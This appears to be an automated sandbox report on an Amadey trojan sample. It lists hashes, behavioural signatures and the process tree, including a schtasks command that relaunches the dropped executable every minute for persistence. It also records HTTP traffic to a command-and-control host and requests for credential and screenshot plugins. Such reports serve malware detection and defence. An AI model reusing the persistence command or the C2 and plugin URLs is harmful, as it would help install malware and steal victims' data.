Analysis

  • max time kernel
    137s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    13/09/2024, 15:23 UTC

General

  • Target

    2a3b92f6180367306d750e59c9b6446b.exe

  • Size

    178KB

  • MD5

    2a3b92f6180367306d750e59c9b6446b

  • SHA1

    95fb90137086c731b84db0a1ce3f0d74d6931534

  • SHA256

    18fd6b193be1d5416a3188f5d9e4047cca719fa067d7d0169cf2df5c7fed54c0

  • SHA512

    c87cda81a0133db40be68e0dd94e39f986f3a32faa54d4a1420e071407c94fffdfef6d6ec8f3fdb893115d84ae12824436cf5785fdb2c77dafb96be858b3b5d0

  • SSDEEP

    3072:GK0YqBB9mUQ13o2vM2tD81JI0MBkuomh87I3pBSpvVFLm:GnrB9mUWdk26DIquom2dN

Score
10/10

Malware Config

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2a3b92f6180367306d750e59c9b6446b.exe
    "C:\Users\Admin\AppData\Local\Temp\2a3b92f6180367306d750e59c9b6446b.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2744
    • C:\ProgramData\3101f8f780\gbudn.exe
      "C:\ProgramData\3101f8f780\gbudn.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3028
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN gbudn.exe /TR "C:\ProgramData\3101f8f780\gbudn.exe" /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2632
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {3BE15879-6C08-4DB0-B420-CA5590745FB3} S-1-5-21-312935884-697965778-3955649944-1000:MXQFNXLT\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2604
    • C:\ProgramData\3101f8f780\gbudn.exe
      C:\ProgramData\3101f8f780\gbudn.exe
      2⤵
      • Executes dropped EXE
      PID:1252
    • C:\ProgramData\3101f8f780\gbudn.exe
      C:\ProgramData\3101f8f780\gbudn.exe
      2⤵
      • Executes dropped EXE
      PID:2916
    • C:\ProgramData\3101f8f780\gbudn.exe
      C:\ProgramData\3101f8f780\gbudn.exe
      2⤵
      • Executes dropped EXE
      PID:624

Network

  • flag-us
    DNS
    mynexa.io
    gbudn.exe
    Remote address:
    8.8.8.8:53
    Request
    mynexa.io
    IN A
    Response
    mynexa.io
    IN A
    188.40.187.155
  • flag-de
    POST
    http://mynexa.io/hfv23svj2/index.php
    gbudn.exe
    Remote address:
    188.40.187.155:80
    Request
    POST /hfv23svj2/index.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Host: mynexa.io
    Content-Length: 83
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Server: nginx/1.27.1
    Date: Fri, 13 Sep 2024 15:23:44 GMT
    Transfer-Encoding: chunked
    Connection: keep-alive
    Keep-Alive: timeout=20
  • flag-de
    GET
    http://mynexa.io/hfv23svj2/plugins/cred.dll
    gbudn.exe
    Remote address:
    188.40.187.155:80
    Request
    GET /hfv23svj2/plugins/cred.dll HTTP/1.1
    Host: mynexa.io
    Response
    HTTP/1.1 404 Not Found
    Server: nginx/1.27.1
    Date: Fri, 13 Sep 2024 15:23:44 GMT
    Transfer-Encoding: chunked
    Connection: keep-alive
    Keep-Alive: timeout=20
  • flag-de
    GET
    http://mynexa.io/hfv23svj2/plugins/scr.dll
    gbudn.exe
    Remote address:
    188.40.187.155:80
    Request
    GET /hfv23svj2/plugins/scr.dll HTTP/1.1
    Host: mynexa.io
    Response
    HTTP/1.1 404 Not Found
    Server: nginx/1.27.1
    Date: Fri, 13 Sep 2024 15:23:54 GMT
    Transfer-Encoding: chunked
    Connection: keep-alive
    Keep-Alive: timeout=20
  • flag-de
    POST
    http://mynexa.io/hfv23svj2/index.php
    gbudn.exe
    Remote address:
    188.40.187.155:80
    Request
    POST /hfv23svj2/index.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Host: mynexa.io
    Content-Length: 83
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Server: nginx/1.27.1
    Date: Fri, 13 Sep 2024 15:24:44 GMT
    Transfer-Encoding: chunked
    Connection: keep-alive
    Keep-Alive: timeout=20
  • flag-de
    POST
    http://mynexa.io/hfv23svj2/index.php
    gbudn.exe
    Remote address:
    188.40.187.155:80
    Request
    POST /hfv23svj2/index.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Host: mynexa.io
    Content-Length: 83
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Server: nginx/1.27.1
    Date: Fri, 13 Sep 2024 15:25:44 GMT
    Transfer-Encoding: chunked
    Connection: keep-alive
    Keep-Alive: timeout=20
  • 188.40.187.155:80
    http://mynexa.io/hfv23svj2/index.php
    http
    gbudn.exe
    508 B
    418 B
    6
    6

    HTTP Request

    POST http://mynexa.io/hfv23svj2/index.php

    HTTP Response

    404
  • 188.40.187.155:80
    http://mynexa.io/hfv23svj2/index.php
    http
    gbudn.exe
    801 B
    870 B
    10
    9

    HTTP Request

    GET http://mynexa.io/hfv23svj2/plugins/cred.dll

    HTTP Response

    404

    HTTP Request

    GET http://mynexa.io/hfv23svj2/plugins/scr.dll

    HTTP Response

    404

    HTTP Request

    POST http://mynexa.io/hfv23svj2/index.php

    HTTP Response

    404
  • 188.40.187.155:80
    http://mynexa.io/hfv23svj2/index.php
    http
    gbudn.exe
    416 B
    338 B
    4
    4

    HTTP Request

    POST http://mynexa.io/hfv23svj2/index.php

    HTTP Response

    404
  • 8.8.8.8:53
    mynexa.io
    dns
    gbudn.exe
    55 B
    71 B
    1
    1

    DNS Request

    mynexa.io

    DNS Response

    188.40.187.155

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\3101f8f780\gbudn.exe

    Filesize

    178KB

    MD5

    2a3b92f6180367306d750e59c9b6446b

    SHA1

    95fb90137086c731b84db0a1ce3f0d74d6931534

    SHA256

    18fd6b193be1d5416a3188f5d9e4047cca719fa067d7d0169cf2df5c7fed54c0

    SHA512

    c87cda81a0133db40be68e0dd94e39f986f3a32faa54d4a1420e071407c94fffdfef6d6ec8f3fdb893115d84ae12824436cf5785fdb2c77dafb96be858b3b5d0

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